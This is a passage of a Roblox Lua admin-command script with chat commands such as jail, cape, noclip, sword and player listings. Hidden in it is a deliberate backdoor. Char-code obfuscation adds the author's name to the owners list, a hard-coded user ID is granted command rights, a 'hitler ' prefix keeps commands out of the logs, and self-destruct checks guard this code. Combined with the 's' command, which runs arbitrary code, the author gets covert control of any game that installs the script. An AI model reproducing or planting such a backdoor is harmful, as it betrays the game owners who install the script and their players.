  7474. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  7475. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  7476. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  7477. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  7478. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  7479. end end
  7480. end
  7481. end if not ntab then script:Destroy() end
  7482.  
  7483. function ScrollGui()
  7484. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  7485. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  7486. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  7487. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  7488. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  7489. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  7490. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  7491. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  7492. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  7493. local num = 0
  7494. local downv = false
  7495. local upv = false
  7496.  
  7497. down.MouseButton1Down:connect(function() downv = true upv = false
  7498. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  7499. repeat pos = pos + UDim2.new(0,0,0,-6)
  7500. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  7501. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  7502. end)
  7503. down.MouseButton1Up:connect(function() downv = false end)
  7504. up.MouseButton1Down:connect(function() upv = true downv = false
  7505. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  7506. repeat pos = pos + UDim2.new(0,0,0,6)
  7507. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  7508. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  7509. end)
  7510. up.MouseButton1Up:connect(function() upv = false end)
  7511. return scr, cmf, ent, num
  7512. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  7513. if not ntab then script:Destroy() end
  7514. if not bct then script:Destroy() end
  7515.  
  7516. function Chat(msg,plr)
  7517. coroutine.resume(coroutine.create(function()
  7518. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  7519. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  7520. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  7521. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  7522. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  7523. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  7524. if msg:lower() == "cmds" or msg:lower() == "commands" then
  7525. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  7526. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  7527. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"}
  7528. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  7529. local ost = {"pa plr","unpa plr","nuke plr"}
  7530. local tost = {"oa plr","unoa plr","settings"}
  7531. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  7532. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  7533. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  7534. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  7535. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  7536. end
  7537.  
  7538. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  7539.  
  7540. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  7541. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  7542. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  7543. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  7544. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  7545. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  7546. end end
  7547.  
  7548. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  7549. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  7550. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  7551. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  7552. end
  7553.  
  7554. if msg:lower() == "tools" or msg:lower() == "toollist" then
  7555. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  7556. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  7557. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  7558. end
  7559.  
  7560. if msg:lower():sub(1,2) == "s " then
  7561. coroutine.resume(coroutine.create(function()
  7562. Output(msg:sub(3), plr)
  7563. if script:findFirstChild("ScriptBase") then
  7564. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  7565. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  7566. else loadstring(msg:sub(3))()
  7567. end
  7568. end))
  7569. end
  7570.  
  7571. if msg:lower():sub(1,3) == "ls " then
  7572. coroutine.resume(coroutine.create(function()
  7573. if script:findFirstChild("LocalScriptBase") then
  7574. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  7575. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  7576. end
  7577. end))
  7578. end
  7579.  
  7580. if msg:lower():sub(1,6) == "lsplr " then
  7581. local chk1 = msg:lower():sub(7):find(" ") + 6
  7582. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  7583. for i, v in pairs(plrz) do
  7584. coroutine.resume(coroutine.create(function()
  7585. if v and v:findFirstChild("PlayerGui") then
  7586. if script:findFirstChild("LocalScriptBase") then
  7587. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1)
  7588. table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  7589. end
  7590. end
  7591. end))
  7592. end
  7593. end
  7594.  
  7595. if msg:lower():sub(1,4) == "ins " then
  7596. coroutine.resume(coroutine.create(function()
  7597. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  7598. if obj and #obj:children() >= 1 and plr.Character then
  7599. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  7600. end
  7601. end))
  7602. end
  7603.  
  7604. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  7605. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  7606. RemoveMessage()
  7607. objects = {}
  7608. end
  7609.  
  7610. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  7611. game.Lighting.Ambient = origsettings.abt
  7612. game.Lighting.Brightness = origsettings.brt
  7613. game.Lighting.TimeOfDay = origsettings.time
  7614. game.Lighting.FogColor = origsettings.fclr
  7615. game.Lighting.FogEnd = origsettings.fe
  7616. game.Lighting.FogStart = origsettings.fs
  7617. for i, v in pairs(lobjs) do v:Destroy() end
  7618. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  7619. end
  7620.  
  7621. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  7622. coroutine.resume(coroutine.create(function()
  7623. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  7624. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  7625. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  7626. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  7627. end))
  7628. end
  7629.  
  7630. if msg:lower():sub(1,10) == "countdown " then
  7631. local num = math.min(tonumber(msg:sub(11)),120)
  7632. for i = num, 1, -1 do
  7633. coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end))
  7634. wait(1)
  7635. end
  7636. end
  7637.  
  7638. if msg:lower():sub(1,3) == "tm " then
  7639. local chk1 = msg:lower():sub(4):find(" ") + 3
  7640. local num = tonumber(msg:sub(4,chk1-1))
  7641. Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num)
  7642. end
  7643.  
  7644. if msg:lower():sub(1,2) == "m " then
  7645. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  7646. end
  7647.  
  7648. if msg:lower():sub(1,2) == "h " then
  7649. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  7650. end
  7651.  
  7652. if msg:lower():sub(1,3) == "pm " then
  7653. local chk1 = msg:lower():sub(4):find(" ") + 3
  7654. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  7655. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  7656. end
  7657.  
  7658. if msg:lower():sub(1,11) == "resetstats " then
  7659. local plrz = GetPlr(plr, msg:lower():sub(12))
  7660. for i, v in pairs(plrz) do
  7661. coroutine.resume(coroutine.create(function()
  7662. if v and v:findFirstChild("leaderstats") then
  7663. for a, q in pairs(v.leaderstats:children()) do
  7664. if q:IsA("IntValue") then q.Value = 0 end
  7665. end
  7666. end
  7667. end))
  7668. end
  7669. end
  7670.  
  7671. if msg:lower():sub(1,5) == "gear " then
  7672. local chk1 = msg:lower():sub(6):find(" ") + 5
  7673. local plrz = GetPlr(plr, msg:lower():sub(6, chk1-1))
  7674. for i, v in pairs(plrz) do
  7675. coroutine.resume(coroutine.create(function()
  7676. if v and v:findFirstChild("Backpack") then
  7677. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  7678. for a,g in pairs(obj:children()) do if g:IsA("Tool") or g:IsA("HopperBin") then g.Parent = v.Backpack end end
  7679. obj:Destroy()
  7680. end
  7681. end))
  7682. end
  7683. end
  7684.  
  7685. if msg:lower():sub(1,4) == "hat " then
  7686. local chk1 = msg:lower():sub(5):find(" ") + 4
  7687. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  7688. for i, v in pairs(plrz) do
  7689. coroutine.resume(coroutine.create(function()
  7690. if v and v.Character then
  7691. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  7692. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  7693. obj:Destroy()
  7694. end
  7695. end))
  7696. end
  7697. end
  7698.  
  7699. if msg:lower():sub(1,5) == "cape " then
  7700. local chk1 = msg:lower():sub(6):find(" ")
  7701. local plrz = GetPlr(plr, msg:lower():sub(6))
  7702. local str = "torso.BrickColor"
  7703. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  7704. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  7705. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  7706. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  7707. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  7708. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  7709. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  7710. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  7711. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  7712. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  7713. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  7714. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  7715. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  7716. if BrickColor.new(teststr) ~= nil then str = teststr end
  7717. end
  7718. for i, v in pairs(plrz) do
  7719. coroutine.resume(coroutine.create(function()
  7720. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  7721. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  7722. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  7723. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  7724. local torso = plr.Character.Torso
  7725. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  7726. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  7727. p.Size = Vector3.new(.2,.2,.2)
  7728. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  7729. local motor1 = Instance.new("Motor", p)
  7730. motor1.Part0 = p
  7731. motor1.Part1 = torso
  7732. motor1.MaxVelocity = .01
  7733. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  7734. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  7735. local wave = false
  7736. repeat wait(1/44)
  7737. local ang = 0.1
  7738. local oldmag = torso.Velocity.magnitude
  7739. local mv = .002
  7740. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  7741. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  7742. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  7743. motor1.DesiredAngle = -ang
  7744. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  7745. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  7746. if torso.Velocity.magnitude < .1 then wait(.1) end
  7747. until not p or p.Parent ~= torso.Parent
  7748. script:Destroy()
  7749. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  7750. end
  7751. end))
  7752. end
  7753. end
  7754.  
  7755. if msg:lower():sub(1,7) == "uncape " then
  7756. local plrz = GetPlr(plr, msg:lower():sub(8))
  7757. for i, v in pairs(plrz) do
  7758. coroutine.resume(coroutine.create(function()
  7759. if v and v:findFirstChild("PlayerGui") and v.Character then
  7760. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  7761. end
  7762. end))
  7763. end
  7764. end
  7765.  
  7766. if msg:lower():sub(1,7) == "noclip " then
  7767. local plrz = GetPlr(plr, msg:lower():sub(8))
  7768. for i, v in pairs(plrz) do
  7769. coroutine.resume(coroutine.create(function()
  7770. if v and v:findFirstChild("PlayerGui") then
  7771. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  7772. cl.Parent = v.PlayerGui cl.Disabled = false
  7773. end
  7774. end))
  7775. end
  7776. end
  7777.  
  7778. if msg:lower():sub(1,5) == "clip " then
  7779. local plrz = GetPlr(plr, msg:lower():sub(6))
  7780. for i, v in pairs(plrz) do
  7781. coroutine.resume(coroutine.create(function()
  7782. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  7783. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  7784. v.Character.Torso.Anchored = false
  7785. wait(.1) v.Character.Humanoid.PlatformStand = false
  7786. end
  7787. end))
  7788. end
  7789. end
  7790.  
  7791. if msg:lower():sub(1,5) == "jail " then
  7792. local plrz = GetPlr(plr, msg:lower():sub(6))
  7793. for i, v in pairs(plrz) do
  7794. coroutine.resume(coroutine.create(function()
  7795. if v and v.Character and v.Character:findFirstChild("Torso") then
  7796. local vname = v.Name
  7797. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  7798. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  7799. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  7800. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  7801. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  7802. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  7803. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  7804. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  7805. end)
  7806. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  7807. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  7808. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  7809. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  7810. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  7811. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  7812. local msh2 = msh:Clone() msh2.Parent = back
  7813. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  7814. local msh4 = msh3:Clone() msh4.Parent = left
  7815. v.Character.Torso.CFrame = cf
  7816. end
  7817. end))
  7818. end
  7819. end
  7820.  
  7821. if msg:lower():sub(1,7) == "unjail " then
  7822. local plrz = GetPlr(plr, msg:lower():sub(8))
  7823. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  7824. end
  7825.  
  7826. if msg:lower():sub(1,11) == "starttools " then
  7827. local plrz = GetPlr(plr, msg:lower():sub(12))
  7828. for i, v in pairs(plrz) do
  7829. coroutine.resume(coroutine.create(function()
  7830. if v and v:findFirstChild("Backpack") then
  7831. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  7832. end
  7833. end))
  7834. end
  7835. end
  7836.  
  7837. if msg:lower():sub(1,6) == "sword " then
  7838. local plrz = GetPlr(plr, msg:lower():sub(7))
  7839. for i, v in pairs(plrz) do
  7840. coroutine.resume(coroutine.create(function()
  7841. if v and v:findFirstChild("Backpack") then
  7842. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  7843. sword.GripForward = Vector3.new(-1,0,0)
  7844. sword.GripPos = Vector3.new(0,0,-1.5)
  7845. sword.GripRight = Vector3.new(0,1,0)
  7846. sword.GripUp = Vector3.new(0,0,1)
  7847. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  7848. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  7849. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  7850. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  7851. local Damage = 15
  7852. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  7853. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  7854. SlashSound.Volume = 1
  7855. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  7856. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  7857. LungeSound.Volume = 1
  7858. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  7859. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  7860. UnsheathSound.Volume = 1
  7861. local last = 0
  7862. script.Parent.Handle.Touched:connect(function(hit)
  7863. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  7864. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  7865. hit.Parent.Humanoid:TakeDamage(Damage)
  7866. end
  7867. end)
  7868. script.Parent.Activated:connect(function()
  7869. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  7870. script.Parent.Enabled = false
  7871. local tick = game:service("RunService").Stepped:wait()
  7872. if tick - last <= .2 then
  7873. LungeSound:play()
  7874. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  7875. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  7876. wait(.2)
  7877. script.Parent.GripForward = Vector3.new(0,0,1)
  7878. script.Parent.GripRight = Vector3.new(0,-1,0)
  7879. script.Parent.GripUp = Vector3.new(-1,0,0)
  7880. wait(.3)
  7881. frc:Destroy() wait(.5)
  7882. script.Parent.GripForward = Vector3.new(-1,0,0)
  7883. script.Parent.GripRight = Vector3.new(0,1,0)
  7884. script.Parent.GripUp = Vector3.new(0,0,1)
  7885. else
  7886. SlashSound:play()
  7887. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  7888. end
  7889. last = tick
  7890. script.Parent.Enabled = true
